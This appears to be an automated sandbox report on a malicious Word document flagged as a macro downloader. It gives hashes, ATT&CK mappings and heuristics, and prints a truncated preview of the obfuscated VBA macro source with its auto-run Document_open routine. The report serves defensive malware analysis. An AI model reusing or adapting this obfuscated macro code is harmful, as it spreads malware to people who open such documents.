Office (OLE) malware analysis — malicious · 32d81de3853102b5

MALICIOUS

Office (OLE)

202.8 KB Created: 2019-12-20 09:19:00 Authoring application: Microsoft Office Word First seen: 2020-02-04

MD5: 586480564ae624297a4d0703431f0d84 SHA-1: 17d7de7daed84b40f2816bc0d341215409ad6a97 SHA-256: 32d81de3853102b59368fb21b731091bf26851dd9a6712c6d5abfaddacac0275

202 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening the document. The presence of the 'GetObject' call and the ClamAV detection as 'Doc.Downloader.Generic' strongly suggest that this document is designed to download and execute a secondary payload. No specific family could be identified.

Heuristics 6

ClamAV: Doc.Downloader.Generic-7469466-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Generic-7469466-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
GetObject call high OLE_VBA_GETOBJ

GetObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12783 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	12783 bytes
SHA-256: `6403b5a288dab7046b4ca0b3dd7e349b76dfed983adc780dcc88884b3f1a3f74`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Xpkurgif" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Control = "Khytkvtzre, 0, 0, MSForms, TextBox" Private Sub Document_open() Dim Nnhdbrror As Boolean Dim Wsczyedinudly As Double Hrefgwynxhaep = Bdbekiiwgi Gnjbimekzjlkb = (Erxandetz) Goyvywzaranf = 997 Dim Lujrsqcmcdfi As Boolean Sbtkrofqldlp = "Maxime." Dim Gfrlficj As Boolean Dim Hsrulvqp As Boolean Dim Hqgdoenuj As Integer Cfbgxmtdz = (561) Dim Grcywkepnw As Boolean Dim Tqynxbvha As Double Enqonjwlooykp = Hcqtrjczhpz Dim Cekiquxlgwrfr As Integer Dim Rufjmhtsrg As String Dim Coiyolzikd As Double Udebfynayrhm = (Lojltcsivwx) Urcboemo = ("Neque rerum.") Snssxnlh = (Yzlzyknbmih) Dim Wtiwpsixb As Boolean Ryajvukobk = Gccdrlbawogv Smadadpylqi Dim Chuggarpi As String Dim Qtprgutjyiqb As Boolean Ydsxhuznccnfi = Wmdwaiqglavg Ymgdhhxysbiv = (Meblqrcvmepq) Hwloxvdqhbbuv = 576 Dim Cnefythzkplp As Boolean Bnqaarvq = "Omnis excepturi voluptatem voluptatem aspernatur est." Dim Howxzkvwfajqk As String Dim Czxbymfzpg As Boolean Dim Uufzmtgykw As Boolean Auokcqkdgqyrx = (145) Dim Mbpgrmzabzbxx As Integer Dim Yfpyadxuwz As Boolean Edwobwxtwv = Matnlbsmytss Dim Osphshvcvwflz As Boolean Dim Lqdpwlzk As String Dim Vgilkldlci As String Ocixkfwh = (Smndocfn) Fyxamqklb = ("Suscipit earum maxime aut.") Suhbahybuncis = (Yhwbfptxyqfil) Dim Lfbfzsgcovhl As Boolean Cqelqsdoatgy = Luznizcxgn End Sub Attribute VB_Name = "Rihhrozcvbo" Attribute VB_Base = "0{67C962F7-255C-4A54-B746-5B48B0549899}{5BCEBDD0-328C-4442-8952-9E678F836C50}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "Shqcibig" Function Gykjilth() Dim Qeviyzyuj As String Dim Jpqpoyydzky As Double Bdukvcnrrdmg = Qjnybvvzy Rszbfwrkbgu = (Ygbxrmdjdrh) Mxyycetwdj = 725 Dim Lgvvjawezzu As String Hmxfoarhsktmd = "Aperiam dolorem veniam." Dim Lqvxnhgfhnt As Boolean Dim Pmmdfauswr As Boolean Dim Whswbjgwh As Integer Dwfqbgpsuj = (734) Dim Gxqhcjwpzgor As String Dim Jgdnudvdigz As Double Mgzuyppmylbd = Djxhnqoxjo Dim Cwcokhtrkja As Double Dim Bkbkubkitsu As Boolean Dim Lsepwknjmsjka As Boolean Vaujkslgnm = (Wgjeiclvan) Pzfpsrzuhz = ("Josh") Xlagzmrchxqd = (Bhpykifitlm) Dim Vmufxuphxcf As Boolean Wsericleqse = Eoproudzvpm Usevejolgkbmf = Xpkurgif.Khytkvtzre Dim Ebklouvx As String Dim Sanyvdfvm As Boolean Uumgirzil = Paiodzfn Hrhgccdxspvt = (Gyefcwoxgr) Qhagqybpmd = 157 Dim Govlskev As String Hevzkddkkpupm = "In voluptatem minus." Dim Lyxsexcsdznad As String Dim Mpgsavlqnymcs As Boolean Dim Qczoglhdc As Boolean Msaxcafpd = (396) Dim Tvaaijtsuk As Double Dim Jkaoykfmdrujt As Boolean Vmxdmagjdng = Jjfvjurmblhey Dim Cbrhrsxfx As Integer Dim Wcbwasghcum As String Dim Yzetaqyohahcw As Boolean Fmdiotyoke = (Yrrlpbrjrod) Hbpbuuetu = ("Dolores") Qdkgaluoqba = (Prbepuqiybg) Dim Mpkfvdobvm As Double Jgtppfhezm = Aezlhrcdprye Mkcmnsggedoe = Usevejolgkbmf + Rihhrozcvbo.Ewydckuorvxx + Rihhrozcvbo.Dvophcgtsfed + Rihhrozcvbo.Yasxyxdwcied Dim Skkwyalsqq As Double Dim Mhjfhgcm As Boolean Jqeefvzppt = Gdvkjejwaie Rjniytptgburu = (Tbajiyafkwx) Tlaltinl = 81 Dim Rzfuzcato As Integer Dziudxrddlav = "Perferendis qui." Dim Vaiymheh As Boolean Dim Kcebdjdiok As Integer Dim Srqkwiivqe As String Ecruccovfzka = (913) Dim Atisgbkjhri As Boolean Dim Wyxrfjlxar As Integer Mvugtgpsg = Nyxriuuamaq Dim Hheqhszbzlufq As Boolean Dim Ksjfojkshsc As Double Dim Rwgvdxylc As String Nhnnnclrrg = (Qldnxoxyfqtk) Zbtecitzs = ("Qui quos.") Wffgklzbcpjaj = (Fafwocjhdkymd) Dim Rtwqaiss As Boolean Tjbqpbjdf = Tvstnxbvmywt Wbwwufouw = Mkcmnsggedoe + Rihhrozcvbo.Iiunyznb + Rihhrozcvbo.Zwwhxbbjtysnu.Tag Dim Tfwjecjksyb As Boolean Dim Gyusotyht ... (truncated)

SHA-256: 6403b5a288dab7046b4ca0b3dd7e349b76dfed983adc780dcc88884b3f1a3f74

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "Xpkurgif"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Khytkvtzre, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Dim Nnhdbrror As Boolean
Dim Wsczyedinudly As Double
Hrefgwynxhaep = Bdbekiiwgi
Gnjbimekzjlkb = (Erxandetz)
Goyvywzaranf = 997
Dim Lujrsqcmcdfi As Boolean
Sbtkrofqldlp = "Maxime."
Dim Gfrlficj As Boolean
Dim Hsrulvqp As Boolean
Dim Hqgdoenuj As Integer
Cfbgxmtdz = (561)
Dim Grcywkepnw As Boolean
Dim Tqynxbvha As Double
Enqonjwlooykp = Hcqtrjczhpz
Dim Cekiquxlgwrfr As Integer
Dim Rufjmhtsrg As String
Dim Coiyolzikd As Double
Udebfynayrhm = (Lojltcsivwx)
Urcboemo = ("Neque rerum.")
Snssxnlh = (Yzlzyknbmih)
Dim Wtiwpsixb As Boolean
Ryajvukobk = Gccdrlbawogv
Smadadpylqi
   Dim Chuggarpi As String
Dim Qtprgutjyiqb As Boolean
Ydsxhuznccnfi = Wmdwaiqglavg
Ymgdhhxysbiv = (Meblqrcvmepq)
Hwloxvdqhbbuv = 576
Dim Cnefythzkplp As Boolean
Bnqaarvq = "Omnis excepturi voluptatem voluptatem aspernatur est."
Dim Howxzkvwfajqk As String
Dim Czxbymfzpg As Boolean
Dim Uufzmtgykw As Boolean
Auokcqkdgqyrx = (145)
Dim Mbpgrmzabzbxx As Integer
Dim Yfpyadxuwz As Boolean
Edwobwxtwv = Matnlbsmytss
Dim Osphshvcvwflz As Boolean
Dim Lqdpwlzk As String
Dim Vgilkldlci As String
Ocixkfwh = (Smndocfn)
Fyxamqklb = ("Suscipit earum maxime aut.")
Suhbahybuncis = (Yhwbfptxyqfil)
Dim Lfbfzsgcovhl As Boolean
Cqelqsdoatgy = Luznizcxgn
End Sub

Attribute VB_Name = "Rihhrozcvbo"
Attribute VB_Base = "0{67C962F7-255C-4A54-B746-5B48B0549899}{5BCEBDD0-328C-4442-8952-9E678F836C50}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Shqcibig"
Function Gykjilth()
   Dim Qeviyzyuj As String
Dim Jpqpoyydzky As Double
Bdukvcnrrdmg = Qjnybvvzy
Rszbfwrkbgu = (Ygbxrmdjdrh)
Mxyycetwdj = 725
Dim Lgvvjawezzu As String
Hmxfoarhsktmd = "Aperiam dolorem veniam."
Dim Lqvxnhgfhnt As Boolean
Dim Pmmdfauswr As Boolean
Dim Whswbjgwh As Integer
Dwfqbgpsuj = (734)
Dim Gxqhcjwpzgor As String
Dim Jgdnudvdigz As Double
Mgzuyppmylbd = Djxhnqoxjo
Dim Cwcokhtrkja As Double
Dim Bkbkubkitsu As Boolean
Dim Lsepwknjmsjka As Boolean
Vaujkslgnm = (Wgjeiclvan)
Pzfpsrzuhz = ("Josh")
Xlagzmrchxqd = (Bhpykifitlm)
Dim Vmufxuphxcf As Boolean
Wsericleqse = Eoproudzvpm
Usevejolgkbmf = Xpkurgif.Khytkvtzre
   Dim Ebklouvx As String
Dim Sanyvdfvm As Boolean
Uumgirzil = Paiodzfn
Hrhgccdxspvt = (Gyefcwoxgr)
Qhagqybpmd = 157
Dim Govlskev As String
Hevzkddkkpupm = "In voluptatem minus."
Dim Lyxsexcsdznad As String
Dim Mpgsavlqnymcs As Boolean
Dim Qczoglhdc As Boolean
Msaxcafpd = (396)
Dim Tvaaijtsuk As Double
Dim Jkaoykfmdrujt As Boolean
Vmxdmagjdng = Jjfvjurmblhey
Dim Cbrhrsxfx As Integer
Dim Wcbwasghcum As String
Dim Yzetaqyohahcw As Boolean
Fmdiotyoke = (Yrrlpbrjrod)
Hbpbuuetu = ("Dolores")
Qdkgaluoqba = (Prbepuqiybg)
Dim Mpkfvdobvm As Double
Jgtppfhezm = Aezlhrcdprye
Mkcmnsggedoe = Usevejolgkbmf + Rihhrozcvbo.Ewydckuorvxx + Rihhrozcvbo.Dvophcgtsfed + Rihhrozcvbo.Yasxyxdwcied
   Dim Skkwyalsqq As Double
Dim Mhjfhgcm As Boolean
Jqeefvzppt = Gdvkjejwaie
Rjniytptgburu = (Tbajiyafkwx)
Tlaltinl = 81
Dim Rzfuzcato As Integer
Dziudxrddlav = "Perferendis qui."
Dim Vaiymheh As Boolean
Dim Kcebdjdiok As Integer
Dim Srqkwiivqe As String
Ecruccovfzka = (913)
Dim Atisgbkjhri As Boolean
Dim Wyxrfjlxar As Integer
Mvugtgpsg = Nyxriuuamaq
Dim Hheqhszbzlufq As Boolean
Dim Ksjfojkshsc As Double
Dim Rwgvdxylc As String
Nhnnnclrrg = (Qldnxoxyfqtk)
Zbtecitzs = ("Qui quos.")
Wffgklzbcpjaj = (Fafwocjhdkymd)
Dim Rtwqaiss As Boolean
Tjbqpbjdf = Tvstnxbvmywt
Wbwwufouw = Mkcmnsggedoe + Rihhrozcvbo.Iiunyznb + Rihhrozcvbo.Zwwhxbbjtysnu.Tag
   Dim Tfwjecjksyb As Boolean
Dim Gyusotyht
... (truncated)

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